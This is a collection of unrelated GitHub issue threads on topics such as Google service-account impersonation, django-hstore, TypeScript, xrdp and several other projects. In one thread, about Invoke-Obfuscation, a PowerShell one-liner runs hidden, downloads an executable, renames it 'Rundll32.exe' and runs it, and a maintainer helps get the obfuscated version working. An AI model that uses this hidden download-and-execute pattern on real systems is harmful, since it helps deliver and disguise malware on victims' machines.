const buildUnsignedJwt = (serviceAccountEmail: string, impersonatedWorkspaceUserEmail: string, scopes: string[]): string => {
    const now = Math.floor(new Date().getTime() / 1000);
    const body: Record<string, string | number | undefined> = {
        iss: serviceAccountEmail,
        aud: GOOGLE_OAUTH2_TOKEN_API_URL,
        iat: now,
        exp: now + 3600,
        sub: impersonatedWorkspaceUserEmail,
        scope: scopes.join(' '),
    }
    return JSON.stringify(body)
}

const generateDomainWideDelegationAccessToken = async (signedJwt: string): Promise<string> => {
    const headers = {
        Accept: 'application/json',
        'Content-Type': 'application/x-www-form-urlencoded',
    };
    const body = new URLSearchParams();
    body.append('grant_type', 'urn:ietf:params:oauth:grant-type:jwt-bearer');
    body.append('assertion', signedJwt);

    try {
        const resp = await fetch(GOOGLE_OAUTH2_TOKEN_API_URL, {
            method: 'POST',
            body: body.toString(),
            headers,
        });
        if (resp.status < 200 || resp.status > 299) {
            throw new Error(`Failed to call ${GOOGLE_OAUTH2_TOKEN_API_URL}: HTTP ${resp.status}: ${await resp.text()}`);
        }
        const data = (await resp.json()) as { access_token: string };
        return data.access_token;
    } catch (err) {
        throw new Error(`Failed to generate Google Cloud Domain Wide Delegation OAuth 2.0 Access Token: ${err}`);
    }
}

export const getDomainWideDelegationAccessToken = async (impersonatedWorkspaceUserEmail: string, serviceAccountEmail: string, scopes: string[]): Promise<string> => {
    if (!impersonatedWorkspaceUserEmail) throw Error('impersonationEmail is required');
    if (!serviceAccountEmail) throw Error('serviceAccountEmail is required');
    if (scopes.length === 0) throw Error('No scopes were provided');

    // Build unsigned JWT
    const unsignedJwt = buildUnsignedJwt(serviceAccountEmail, impersonatedWorkspaceUserEmail, scopes);

    // Sign JWT token using a system-managed private key of the given service account
    const [signedJwtResponse] = await new IAMCredentialsClient().signJwt({
        name: `projects/-/serviceAccounts/${serviceAccountEmail}`,
        payload: unsignedJwt,
    })
    const { signedJwt } = signedJwtResponse
    if (!signedJwt) throw new Error('Failed to sign JWT token using the Service Account key');
    return await generateDomainWideDelegationAccessToken(signedJwt);
}

Thanks for your code contributions @tcvall86 @lopezvit @alitto @antnat96 ! So helpful! For anyone else trying out one of those solutions, make sure to add the Service Account Token Creator role to your service account in IAM. (I needed it with @alitto 's version.) It's so annoying this is still a limitation in the library, but this workaround is great!

method that Google exposes in their IAMCredentialsClient

Let me add that googleapis package has this as well. This is how I call it:
    // Sign JWT token using a system-managed private key of the given service account
    await google.iamcredentials('v1').projects.serviceAccounts.signJwt({
      name: `projects/-/serviceAccounts/${serviceAccountEmail}`,
      requestBody: {
        // Build JWT token for domain-wide delegation
        payload: unsignedJWT,
      },
      auth,
    })

I am not sure if this helps others but I was able to provide a service account using credentials:
export function getGoogleAuth(serviceAccount: string): Auth.GoogleAuth {
  const SCOPES = [...];

    const impersonationEmail =<EMAIL_ADDRESS>
    return new google.auth.GoogleAuth({
      scopes: SCOPES,
      clientOptions: {subject: impersonationEmail},
      credentials: JSON.parse(serviceAccount),
    });
}

Thank god i found this thread because for me it was totally unclear how to deal with the
" Service accounts cannot invite attendees without Domain-Wide Delegation of Authority."
error even though i did the DWD setup correctly.
Problem is, you see pretty good tutotials on the web for other programming languages, like this one for C# (https://medium.com/iceapple-tech-talks/integration-with-google-calendar-api-using-service-account-1471e6e102c8) and then you realize that the c# client obviously behaves differently than my target language JS/TS and the node lib.
What i still dont get, that while i cant add attendees to an calendar event without clientOptions->subject, the mentioned subject has nothing to do with my attendees emails or the service user i am using. I just added one a admin email address from my workspace users. I dont get the idea of "subject" at all. I always thought the service account is the one which does the calls.


Proper Azure Locust

Hotspot b58 Addresses
112rjDnBN55ThzmCsh6Keq3EGTeAZpJzwcunJwbgMhkegYMgAJzh
Discord Handle
Aloha 1#3389
Reason(s)
This hotspot only witnesses with 15 the same wallet hotspots. 13ZG3B7SYyMYkYnDjGUsNUxocfNpTwdSDdnhEWTyhRe2WaTjZsn

This hotspot only witnesses the same wallet hotspots.
Precise Tweed Wren
Sleepy Yellow Capybara
Main Turquoise Cheetah
Shiny Ceramic Locust
Fierce Cotton Dove
Gigantic Topaz Vulture
Soaring Tin Cricket
Prehistoric Brown Shetland
Nice Bone Monkey
Teeny Yellow Finch
Proper Azure Locust
Bitter Merlot Snail
Short Crepe Grasshopper
Trendy Carob Peacock
Unique Misty Tiger


Feature/ulrgw

Add unbalanced low-rank (fused) GW.
TODOs:

[x] verify the impl.
[x] check initialization
[x] fix cost value in the fused case
[ ] decide on how to handle/whether to deprecate LR option in GW (would say yes) will be done in a future PR
[x] update the docs (e.g., remove mentions of LRSinkhorn)
[x] fix primal_cost
[x] check balanced case with the new LRGromovWasserstein class
[ ] fix numerical overflows in LRGW
[ ] update notebooks
[ ] tests

This LGTM, but I'd like to chat about the inheritance of LRGromovWasserstein because I am not sure where this is headed! thanks!

Agreed, we sorely need a better solver hierarchy, let's talk about it! Will just write some tests and merge.


TNKS2 lig_7: change protonation state

From a brief glance it looks like there's no positively charged amino acid in the binding site that could explain why the amide should be negatively charged.

Changed protonation state of lig_7 in
commit a631d04ec5b24397086adaf1886650f2015b6b0a


fix(bch-js): Updating bch-js

:tada: This PR is included in version 4.6.7 :tada:
The release is available on npm package (@latest dist-tag)
Your semantic-release bot :package::rocket:


Cannot read property 'android' of null, undefined

Hello, did everything as indicated in your example. On the screen of the emulator this message is displayed

Hi,
Please look into closed issues before creating a new one, this one is already known. You have an issue with your images files, you don't initialise your BottomBarItem(s) the right way or you misplaced your files. Please provide sample code if this issue still occurred.
Thanks

Thank you!
And can I use FontAwesome or svg?

You can only use images files


Updated description on follow camera script

Forgot to commit suggestion on #3696
I confirm I have read the contributing guidelines and signed the Contributor License Agreement.

Updated the description :)


Bug in control flow analysis with mutable variables

Bug Report

🔎 Search Terms
mutable variable, control flow analysis
🕗 Version & Regression Information
Just noticed it (09/2021), tsc 4.4.2

This is the behavior in every version I tried, and I reviewed the FAQ for entries about control flow analysis

⏯ Playground Link

Playground link with relevant code
💻 Code

let state: 'start' | 'failed' | 'updated' | 'updating' = 'start';

switch (state) {
    case 'start':
       doUpdate();
       if (state !== 'failed') console.log("success");
       break;
}

function doUpdate() {
    state = 'failed';
}

🙁 Actual behavior
The type checker errors because it assumes the value cannot change, however it's a "let" and not a "const" variable. The example above is contrived but in my case I have a long running async job that can be aborted by the user.
🙂 Expected behavior
The analysis should only assume a variable cannot change if it's const or readonly

Another duplicate of #9998.


"static" methods in interface/trait

suppose
trait Foo {
    fn bar() where Self: Sized;
}

foreign_interface! (interface FooBar {
    self_type Foo;
    bar = Foo::bar();
})

This crashes at compile time:
at macroslib/src/java_jni/mod.rs:218:
thread 'main' panicked at 'attempt to subtract with overflow', /home/rsmet/.cargo/registry/src/github.com-1ecc6299db9ec823/rust_swig-0.1.5/src/java_jni/mod.rs:215:67

I gave the code a quick look, and it seems to assume no "static" (is that the Rusty term?) trait methods.
They currently don't make too much sense to bind to Java though, since we can only pass them through Boxes (instead of genericly/impl Trait), but it might make sense in the future.

In fact foreign_interface! is the way to call from Rust code written with not Rust language (foreign in terms of rust_siwg), in your case it is the way to call Java code from Rust code.
It is not the way to export trait to Java, it is the way to create callback (May be foreign_inteface! is not perfect name).
So not all Rust trait is possible to map to foreign_interface!, because of not all Rust trait is possible to use for callbacks.
And I missed in parser the check that method contains &self as the first argument, I will fix this.


Man page install directory

It seems by default the CMake build system installs the manpage into /usr/share/man/gt.1.gz but it should be in the man1 subdirectory, so /usr/share/man/man1/gt.1.gz
It's possible to overwrite/set the directory at build time with -DCMAKE_INSTALL_MANDIR=/usr/share/man/man1 but the default should also put it into the correct place so no override is necessary

I think that this was fixed in 2021 by commit 7247547a14b2d092dc03fd83218ae65c2f7ff7d6 - are you able to confirm this by trying the master branch?

I'm building commit from 7f9c45d98425a27444e49606ce3cf375e6164e8e so that commit is included there already


invoke obfuscation damage putty.bat file

good day sir , i was experimenting with invoke obfuscation. here is sample code below
PowerShell -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://the.earth.li/~sgtatham/putty/0.64/x86/putty.exe','%APPDATA%\Rundll32.exe');Start-Process '%APPDATA%\Rundll32.exe'
now when i save is as putty.bat and execute it works. now when i use invoke onfuscation, i followed all the steps from selecting encoding and defining scriptpath and using bxor encryption method and out  the file by output and save it as puttynew.bat. it compiles smoothly. now  i execute the obfuscated file and u see it stops executing putty. please can u run the test. you would see what am talking about.please any steps you took to get it working i apprecaite you help me , i want to understand d how it works. thanks

A couple of issues.
First, Invoke-Obfuscation does not support output to a .bat file currently. Others have identified that you may only need to encode the % character like %%. Check out #36
Second, you'll want to use a LAUNCHER obfuscation option if you are trying to launch something from the command line or bat file. If you are only using BXOR obfuscation on a script, you'll need to launch it from within PowerShell.


Update to v1.13.0-beta.0

Change-Id: Ic00a00dd6bfe02939bbbab0bde4cafdec527ee32

What this PR does / why we need it:
Periodic update to the latest k/k milestone
Which issue this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close that issue when PR gets merged): fixes #
Special notes for your reviewer:
Release note:

Update to Kubernetes milestone v1.13-beta.0

/test cloud-provider-openstack-unittest

/test cloud-provider-openstack-unittest

/override openlab/cloud-provider-openstack-acceptance-test-flexvolume-cinder

/lgtm

@flaper87 please /approve as well :)

/approve


File search popup disappears when tabbing away from code

VSCode Version: 1.5.0-insider (538cd9ded5a471fbb20920f01eff9c8df4b83ee9)
OS Version: OS X 10.11.6 (15G1004)

Steps to Reproduce:

Press Cmd-P
Start searching for a file you haven't yet searched for in a large project (the file doesn't even have to exist - I just did 'asdf' to verify)
Cmd-Tab away to another app
Cmd-Tab back to code
Your Cmd-P search has disappeared and (to all appearances) been canceled.

This is especially frustrating given it can sometimes take near a minute for results on large projects (I'm working on https://hg.mozilla.org/mozilla-central) and I would like to be able to tab away from code to finish reading the bug I'm working on while it searches the files. As it stands, I have to just wait for code to finish searching.

With 1.5 there is a new setting: "workbench.quickOpen.closeOnFocusLost": true
We are releasing preview releases of the next stable VS Code version for everyone to try and give feedback. These preview releases are not 100% tested and might be unstable but contain our latest features and bugfixes. You can give our preview releases a try from: http://code.visualstudio.com/Download#insiders

Excellent, I missed that one when trolling for new prefs. Thanks!


Headless server: engine module sync on join fails (1.2.1-alpha)

What you were trying to do
Running latest stable docker image. (clean installation, no old configs)
Connecting with the latest stable client. (clean installation, no old configs)
What actually happened
An engine module sync was triggered but failed, not able to join.
How to reproduce

Server with latest stable docker image (you may use docker, but this issue may be triggered without docker too)
latest stable client
connect to the server

Log details and game version
(Will follow, I need a more verbose logging configuration on both ends first)
Computer details
Arch Linux, latest. (anything else needed? O.o)

Heyo, thanks for the report and details earlier :-)
When I mentioned needing to add more logs I meant we may need to add more actual logging to the code :D I don't think you're missing any actual log statements due to log level settings.
One other topic just to be sure: you were running a docker server using the alpha 4 binary (latest stable release) or very latest (develop) build? Binary in either case I take it. Client was running using binary or from source?

Both were the latest stable releases, not a development build.
Client was run by binary.
But I could test the latest development builds too, today evening maybe, MET. ;)

Mainly wondering as running from source gets the version flagged as a snapshot, less worried about any actual recent change :-)
But if both are binary then yep, should work. I'll try to replicate it soon myself if I can find the time.

Well, I've now tried the 1.2.2-SNAPSHOT.
Everything works. So it's a problem of the latest alpha.
Should I switch back to the latest alpha and provide you with the hopefully good enough logfiles?

It would be interesting to get more details on what broke, yeah. Just to run a sanity check I ran a binary alpha 4 headless + separate client and didn't have to sync anything, but then that makes sense, we ran a whole event based on that release so it was covered pretty well :-)
Another quite important bit of information would be how the Join Server menu appears as you attempt to connect in a situation that ends up failing to sync. For me it looks like so:

You see the three entries active for the server are all in green meaning the client already has the right version. If you see that and still got a sync process that is rather peculiar as there's no reason the sync should even happen. If you see engine at a different release level (and/or it is listed in red) then something is out of whack either on the server or client. Any chance the docker packaging process grabbed something other than what the client you were using to test got?

Okay, now there's a big "WTF" moment.
The only thing I can recall in my mind was that, I've seen a engine 1.0.0 there which would be quite old. Core and CoreSampleGameplay were green in the join server window, only engine was red, but currently can't tell which version at the time of failing.
Maybe there was an error setting up the docker image with alpha4 which did not catch my attention, what's almost impossible because I've followed every step on my local machine, but well still just almost.
Okay, my turn now: double double check everything is correct on image download, if that's the case, checking the image.
Big sorry, if that turns out to be a false negative.

I take everything back and assert the opposite.
Damn, how embarrassing, I really started the OLD latest image (alpha1), don't really know how that could happen. Well but it happened, so the fault was on my side. ;)
With the real latest image 1.2.1-alpha everything works as expected. Sorry to have wasted your time. ;)

No worries at all! Happens :-)


Drop support for EOL Python 2.6 and 3.3 and fix Travis CI

Python 2.6 and 3.3 are EOL (since 2013-10-29 and 2017-09-29 respectively) and no longer receiving security updates (or any updates) from the core Python team.
Pytest also dropped support in 3.3.0 (2017-11-23):

https://docs.pytest.org/en/latest/changelog.html#pytest-3-3-0-2017-11-23

This PR removes support for them, fixes Travis CI, and upgrades some code to make use of more modern Python features.

Verified that @hugovk has signed the CLA. Thanks for the pull request!


Unable to build the project using 'mvn install ' command

Please make sure that this is a build/installation issue. As per our GitHub Policy, we only address code/doc bugs, performance issues, feature requests and build/installation issues on GitHub. tag:build_template
System information

OS Platform and Distribution (e.g., Linux Ubuntu 16.04 x86_64): Ubuntu 22.04
Java version (i.e., the output of java -version): JDK 11
Installed from Maven Central?: yes

Describe the problem
I hit the command mvn install to build project. then I get an error as below.

What's your $JAVA_HOME set to?

I use JENV to manage multiplue java version in my machine. So my $JAVA_HOME is set as /home/manoj/.jenv/versions/<IP_ADDRESS>

Maven pulls java from JAVA_HOME not the java it finds on your path, so it's using Java 8 to compile it and our minimum is 11. If you set your java home to 11 it should be fine.

To do a full maven install locally without error, also add this parameter:
mvn install -Djavacpp.platform.host


Add files via upload

Straight forward approach

You don't need the elif statement to solve this problem.


can httpie support JSON5 (JSON for Humans) input?

Checklist

[x] I've searched for similar feature requests.

Enhancement request
trying to call httpie with post body including raw valid js objects,
http <url> metrics:='[{name: "activeUsers"}]'

got error:
'metrics:=[{name: "activeUsers"}]': Expecting property name enclosed in double quotes: line 1 column 3 (char 2)

as expected;
but always expected tools like httpie could/should accept more format for flexibility,
and there is a project for that, called JSON5 (https://json5.org/) JSON for Humans, it allows many features, and some would be most useful for httpie:

Object keys may be an ECMAScript 5.1 IdentifierName, with single quote, or without quote, if unambiguous, like my example: metrics:='[{name: "activeUsers"}]' hope httpie can recognize it and auto-translate to valid json,
Strings may be single quoted,
Numbers may be hexadecimal, or scientific format, like 1e3 28e6 ?

Additional information, screenshots, or code examples
JSON5 Python libraries:

https://pypi.org/project/json5/
https://pyjson5.readthedocs.io/

Hey @tx0c, thanks for the suggestion! This needs a bit more work than just adding another check, since we want to be backwards compatible and warn our users in case of they are sending wrong JSON objects (even though those might be valid in JSON5). We need some product design first, in order to asses how we want to proceed (e.g a new --json5 flag, accompaniying the existing --json).


Update of existing slack post does not work with channel name, only channel id

Description
When using update-ts: to update a previous action's slack post, the error Error: An API error occurred: channel_not_found is thrown.
The update works fine when using the channel ID, but does not work when using channel name.
What type of issue is this? (place an x in one of the [ ])

[x] bug
[ ] enhancement (feature request)
[ ] question
[ ] documentation related
[ ] example code related
[ ] testing related
[ ] discussion

Requirements (place an x in each of the [ ])

[x] I've read and understood the Contributing guidelines and have done my best effort to follow them.
[x] I've read and agree to the Code of Conduct.
[x] I've searched for any related issues and avoided creating a duplicate issue.

Bug Report
Filling out the following details about bugs will help us solve your issue sooner.
Reproducible in:
package version:
node version:
OS version(s):
Steps to reproduce:

Create subsequent actions like:

      - name: Post to a Slack channel
        id: slack
        uses<EMAIL_ADDRESS>        with:
          channel-id: '#mychannel'
          payload: |
            {
              "text": "first message"
            }
      - name: Update Existing Message in Slack
        id: slack_update
        uses<EMAIL_ADDRESS>        with:
          channel-id: '#mychannel'
          update-ts: ${{ steps.slack.outputs.ts }}
          payload: |
            {
              "text": "UPDATED MESSAGE"
            }

Note: token set in env at global level
Execute the workflow
Notice first message is posted to slack
Notice the slack post if never updated.
Notice in github action page an error has occur with message: Error: An API error occurred: channel_not_found

Expected result:
Existing post is updated with the subsequent action.
Actual result:
Notice in github action page an error has occur with message: Error: An API error occurred: channel_not_found
Attachments:

Hi @brownjeff thanks for writing in!
I suspect this may be related to the way the channel information is provided. When posting a message the postMessage method accepts a channel encoded ID, or a name as input. And based on the documentation, in the case of updateMessage only the channel encoded ID can be provided.
let me know if using the channel_id instead of the channel name solves your issue

Thanks for the reply @WilliamBergamin
You are correct. Using the channel name instead of the channel_id is the source of this issue.
Thanks for the links to the methods' docs.
I suppose this should not be a bug report here, but a feature request to the Slack API for adding channel-name as a valid alternative to channel-id in the updateMessage call.
Thanks again.


Create a Documentation for how to raise PR to track hashtags

Plan is to make a complete documentation so that user can raise PR for the hashtags they want to track

Plan is to make a complete documentation so that user can raise PR for the hashtags they want to track

Hello, @kshitijrajsharma. Is this documentation available already? I want to added a request for #OGAsiaPacific. Thanks!

oh yes ! Oops i forgot , let me work on this @adiatmad  Thanks

@adiatmad I have created a quick documentation .  It should be available now on docs/stats_request.md Let me know if you run into issues


Django 1.8 support

[x] fix crappy GEODJANGO_INSTALLED redundant flag
[x] run tests with django 1.8 and see what breaks
[x] find solution for transaction.is_managed
[x] cannot import django.contrib.gis.db.models.sql.query
[ ] what to do with HStoreGeoQuerySet?
[ ] InterfaceError: connection already closed
[ ] test_reload_schema fails

Work in progress..

Coverage increased (+0.62%) to 92.63% when pulling 5d6ab8724fd227b9bc787fcce0b4e84d06270ed1 on django-1.8 into a78545f8327d437e76d6f81003078b9ca8c39492 on master.

Coverage increased (+0.62%) to 92.63% when pulling 5d6ab8724fd227b9bc787fcce0b4e84d06270ed1 on django-1.8 into a78545f8327d437e76d6f81003078b9ca8c39492 on master.

Coverage increased (+0.62%) to 92.63% when pulling 5d6ab8724fd227b9bc787fcce0b4e84d06270ed1 on django-1.8 into a78545f8327d437e76d6f81003078b9ca8c39492 on master.

Coverage increased (+0.62%) to 92.63% when pulling 5d6ab8724fd227b9bc787fcce0b4e84d06270ed1 on django-1.8 into a78545f8327d437e76d6f81003078b9ca8c39492 on master.

Coverage decreased (-0.76%) to 91.98% when pulling 6ebff43593e44943e6cee97bf61e91ed28bb7965 on django-1.8 into 8bf5a1ba7a171fbeaa65a79882ddee06a8dc338e on master.

Coverage decreased (-0.76%) to 91.98% when pulling 6ebff43593e44943e6cee97bf61e91ed28bb7965 on django-1.8 into 8bf5a1ba7a171fbeaa65a79882ddee06a8dc338e on master.

Is this coming out in django-hstore v1.4? Any ETA?

i'm working on it in my free time, I can't provide an ETA.

As a side-note.. Can you please add a paypal donate button or something on your site? I totally understand that you are doing this in your free time. Just wanted to buy you a beer :) Appreciate your work!

very kind of you @xeor, but haven't felt the need of donations yet. I might consider this in the future.
Many people have contributed to this library, I think they'll come back to contribute as soon as they'll need this library to work with their django 1.8 project, unless I finish earlier.

So now that there's a HStoreField, will django-hstore wrap that to provide the extra functionality like schema?
https://docs.djangoproject.com/en/1.8/ref/contrib/postgres/fields/#hstorefield

@aidanlister: probably in a later release, I've analyzed the amount of work to do this and it will take quite few weeks of work. A gradual implementation sounds more realistic.

@nemesisdesign +1
The work you've done with schema and virtual fields is awesome.  Since these don't come with django.contrib.postgres, we'd rather stick with django-hstore.  If you need help with incrementally supporting Django 1.8, please feel free to reach out.

Just as a note for 1.8ers, you can now enable hstore in a migration:
from django.contrib.postgres.operations import HStoreExtension
class Migration(migrations.Migration):
...
operations = [
    HStoreExtension(),
    ...
]

@bijanvakili yes help is appreciated as right now i cannot work on this, if anyone has a bit of time can just proceed on this branch, i'll give him/her write access to push to the 1.8 branch

I'm testing the new 1.8 functionality in our staging environments now, soon to move into production which is a little scary.
The only incompatibility we've noticed at the initialisation level is having HStoreExtension in your migrations doesn't help you, because register_hstore_handler (https://github.com/djangonauts/django-hstore/blob/master/django_hstore/apps.py#L42) runs first and crashes out.
You'll need to set up hstore before the connection is established if you want to keep using django-hstore.
@nemesisdesign I might be able to spare a developer for a few days to work on 1.8 compatibility, there does seem to be a 1.8 blocker which is that ConcreteField issue I posted.

After fd33e31 and 4b60bd5 there are a few more issues we can work on.

Coverage decreased (-0.94%) to 91.8% when pulling 4b60bd5bc4e02beffe220fc3cbb3000f3794ce4d on django-1.8 into 641c2e04fc4db046667c87e87d000d304725b55b on master.

Traceback:
File "/app/.heroku/python/lib/python3.4/site-packages/django/core/handlers/base.py" in get_response
  132.                     response = wrapped_callback(request, *callback_args, **callback_kwargs)
File "/app/.heroku/python/lib/python3.4/site-packages/django/contrib/admin/options.py" in wrapper
  616.                 return self.admin_site.admin_view(view)(*args, **kwargs)
File "/app/.heroku/python/lib/python3.4/site-packages/django/utils/decorators.py" in _wrapped_view
  110.                     response = view_func(request, *args, **kwargs)
File "/app/.heroku/python/lib/python3.4/site-packages/django/views/decorators/cache.py" in _wrapped_view_func
  57.         response = view_func(request, *args, **kwargs)
File "/app/.heroku/python/lib/python3.4/site-packages/django/contrib/admin/sites.py" in inner
  233.             return view(request, *args, **kwargs)
File "/app/.heroku/python/lib/python3.4/site-packages/django/utils/decorators.py" in _wrapper
  34.             return bound_func(*args, **kwargs)
File "/app/.heroku/python/lib/python3.4/site-packages/django/utils/decorators.py" in _wrapped_view
  110.                     response = view_func(request, *args, **kwargs)
File "/app/.heroku/python/lib/python3.4/site-packages/django/utils/decorators.py" in bound_func
  30.                 return func.__get__(self, type(self))(*args2, **kwargs2)
File "/app/.heroku/python/lib/python3.4/site-packages/django/contrib/admin/options.py" in changelist_view
  1655.             selection_note=_('0 of %(cnt)s selected') % {'cnt': len(cl.result_list)},
File "/app/.heroku/python/lib/python3.4/site-packages/django/db/models/query.py" in __len__
  144.         self._fetch_all()
File "/app/.heroku/python/lib/python3.4/site-packages/django/db/models/query.py" in _fetch_all
  965.             self._result_cache = list(self.iterator())
File "/app/.heroku/python/lib/python3.4/site-packages/django/db/models/query.py" in iterator
  255.             obj = model_cls.from_db(db, init_list, row[model_fields_start:model_fields_end])
File "/app/.heroku/python/lib/python3.4/site-packages/django/db/models/base.py" in from_db
  489.             new = cls(*values)
File "/app/.heroku/python/lib/python3.4/site-packages/django/db/models/base.py" in __init__
  482.         signals.post_init.send(sender=self.__class__, instance=self)
File "/app/.heroku/python/lib/python3.4/site-packages/django/dispatch/dispatcher.py" in send
  201.             response = receiver(signal=self, sender=sender, **named)
File "/app/abas/apps/siteconfig/signals/handlers.py" in update_schema
  27.         field.reload_schema(schema)
File "/app/.heroku/python/lib/python3.4/site-packages/django_hstore/fields.py" in reload_schema
  185.         self._remove_hstore_virtual_fields()
File "/app/.heroku/python/lib/python3.4/site-packages/django_hstore/fields.py" in _remove_hstore_virtual_fields
  209.                 getattr(cls._meta, meta_fields).remove(field)
File "/app/.heroku/python/lib/python3.4/site-packages/django/utils/datastructures.py" in complain
  500.             raise AttributeError(self.warning)

Exception Type: AttributeError at /admin/properties/property/
Exception Value: The return type of 'fields' should never be mutated. If you want to manipulate this list for your own use, make a copy first.

Because we're dealing with the new _meta API, removing fields is a no-no. reload_schema removes all the hstore fields and re-adds them which isn't allowed.

Alright I think this commit fixes the above: https://github.com/ABASystems/django-hstore/commit/4f295149016e80423e100bba31fc748b49cff9ac

For reference here's how 1.8 registers the hstore connection:

https://github.com/django/django/blob/master/django/contrib/postgres/apps.py
https://github.com/django/django/blob/master/django/contrib/postgres/signals.py

Coverage decreased (-0.94%) to 91.8% when pulling 384430788c9c2232bf9c97143ffa0b5fd5922f7e on django-1.8 into b31f891f38464bf7c0666d606eb4028ca630b645 on master.

Coverage decreased (-0.94%) to 91.8% when pulling 384430788c9c2232bf9c97143ffa0b5fd5922f7e on django-1.8 into b31f891f38464bf7c0666d606eb4028ca630b645 on master.

@aidanlister thx for https://github.com/ABASystems/django-hstore/commit/4f295149016e80423e100bba31fc748b49cff9ac
regarding the connection, django's HStoreField is very similar to django-hstore, see this comment: https://github.com/djangonauts/django-hstore/issues/76#issuecomment-61612958
I just pushed some more commits, let's wait and see.

Coverage decreased (-0.45%) to 92.29% when pulling 8af4c0bc9e6e2e818c1d87066f30bb09213ca728 on django-1.8 into b31f891f38464bf7c0666d606eb4028ca630b645 on master.

Coverage increased (+0.54%) to 93.28% when pulling f9462a00c34eed583786baa3af58ea84c638303d on django-1.8 into b31f891f38464bf7c0666d606eb4028ca630b645 on master.

Coverage increased (+0.54%) to 93.28% when pulling f9462a00c34eed583786baa3af58ea84c638303d on django-1.8 into b31f891f38464bf7c0666d606eb4028ca630b645 on master.

Now please help us testing it in the real world!

Is there any reason you're checking fields and other_fields rather than virtual_fields?

@aidanlister could you be more specific?

You're iterating fields, local_fields and virtual_fields ... I think you can just iterate virtual_fields: https://github.com/djangonauts/django-hstore/blob/master/django_hstore/fields.py#L215
See https://github.com/ABASystems/django-hstore/blob/django-1.8/django_hstore/fields.py#L204

It's a bit more complex than that. simple virtual fields did not work in the admin by default because inconsistencies between django models and django modeladmin, so I had to pretend virtual fields are also real fields, that's why i was iterating also on other lists.


Instagram Bridge failed with error 429

Error message: The requested resource cannot be found! Please make sure your input parameters are correct! cUrl error:  (0) PHP error:
Query string: action=display&bridge=Instagram&context=Hashtag&h=russia&media_type=picture&direct_links=on&format=Atom

Explained here already: https://github.com/RSS-Bridge/rss-bridge/issues/1832#issuecomment-735372542


publishing

Proposed changes

Unreleased project version (optional)

Related issues (optional)

Deploy preview for docsdocker ready!
Built with commit 15e8fbdcda5385a8b8676166fdc60e5334872ea2
https://deploy-preview-9838--docsdocker.netlify.com

Hey Usha, this error should be fixed by the pr to master https://github.com/docker/docker.github.io/pull/9840.


meta update

changelog
-connect ai sat to station grid, remove 15kw gen

HV line was not forgotten :trollface:


Bump version to 3.4.0

Change since and version javadoc attributes, fields in Version class and some few other occurances of 3.3.1 to 3.4.0.

Does this PR need to be revised any based on all the changes since it was created?  Also, what about the other PRs coming are they using 3.4.0?

I'll make a new PR just to be sure


Update sbt-typelevel-ci-release to 0.4.8

Updates org.typelevel:sbt-typelevel-ci-release from 0.4.5 to 0.4.8.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.typelevel", artifactId = "sbt-typelevel-ci-release" } ]

labels: sbt-plugin-update, early-semver-minor, semver-spec-patch, commit-count:n:2

Superseded by #648.


xauth code not compatible with NFS home directory

Due to some weird reason xrdp not able to create .Xauthority file in NFS mounted user home directory.
At that time xrdp should use Xauthority file from user runtime directory same as gdm do.

I'll have a look at it, can you give us a little more on your setup ? (I use xrdp on NFSv4 for 100+ students without known problem.)

We are using NetApp for nfsv3
On Tue 20 Mar, 2018, 10:38 PM Blindauer Emmanuel<EMAIL_ADDRESS>wrote:

I'll have a look at it, can you give us a little more on your setup ? (I
use xrdp on NFSv4 for 100+ students without known problem.)
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/neutrinolabs/xrdp/issues/1069#issuecomment-374678821,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AHrGTkPi9iUKmcuMefBkKfSHqAPYabQ9ks5tgTdvgaJpZM4Sx9HB
.

Nfs server:netapp
Nfs client :Ubuntu 16.04x64 Japanese remix
Client tools:libpam-mount and nfs-common
Attached screenshots of settings.
Also can you please provide your setup details of how you achieved same.
Let me know if anymore information you need.
On Wed 21 Mar, 2018, 12:15 AM ganesh kale<EMAIL_ADDRESS>wrote:

We are using NetApp for nfsv3
On Tue 20 Mar, 2018, 10:38 PM Blindauer Emmanuel, <
<EMAIL_ADDRESS>wrote:

I'll have a look at it, can you give us a little more on your setup ? (I
use xrdp on NFSv4 for 100+ students without known problem.)
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/neutrinolabs/xrdp/issues/1069#issuecomment-374678821,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AHrGTkPi9iUKmcuMefBkKfSHqAPYabQ9ks5tgTdvgaJpZM4Sx9HB
.

you are mounting the user $HOME at login ? (i.e. you don't mount server:/home under /home directly)

I have tried both, mounting at Pam session, and also tried static mounting
before user session
On Wed 21 Mar, 2018, 11:30 AM Blindauer Emmanuel<EMAIL_ADDRESS>wrote:

you are mounting the user $HOME at login ? (i.e. you don't mount
server:/home under /home directly)
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/neutrinolabs/xrdp/issues/1069#issuecomment-374840587,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AHrGTsPH8weJeBYxH3nvclRtMst06S15ks5tgexggaJpZM4Sx9HB
.

Is there any problem with nfsv3 with xrdp?
On Wed 21 Mar, 2018, 11:40 AM ganesh kale<EMAIL_ADDRESS>wrote:

I have tried both, mounting at Pam session, and also tried static mounting
before user session
On Wed 21 Mar, 2018, 11:30 AM Blindauer Emmanuel, <
<EMAIL_ADDRESS>wrote:

you are mounting the user $HOME at login ? (i.e. you don't mount
server:/home under /home directly)
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/neutrinolabs/xrdp/issues/1069#issuecomment-374840587,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AHrGTsPH8weJeBYxH3nvclRtMst06S15ks5tgexggaJpZM4Sx9HB
.

Not xrdp itself, but creating a xauth file on NFS can be problematic if the server doesn't handle lock correctly (that's why I switched to nfsv4, locks are working properly).
I looked at the code, the  XAUTHORITY variable is handled, it can be used to override the default value of ~/.Xauthority  (GDM places Xauth file in ``/tmp/.xauthXXXXX```)
if you can export a value for XAUTHORITY for the used, it will be used.

@moobyfr can you please provide how can we get user xauthority file from before running session .
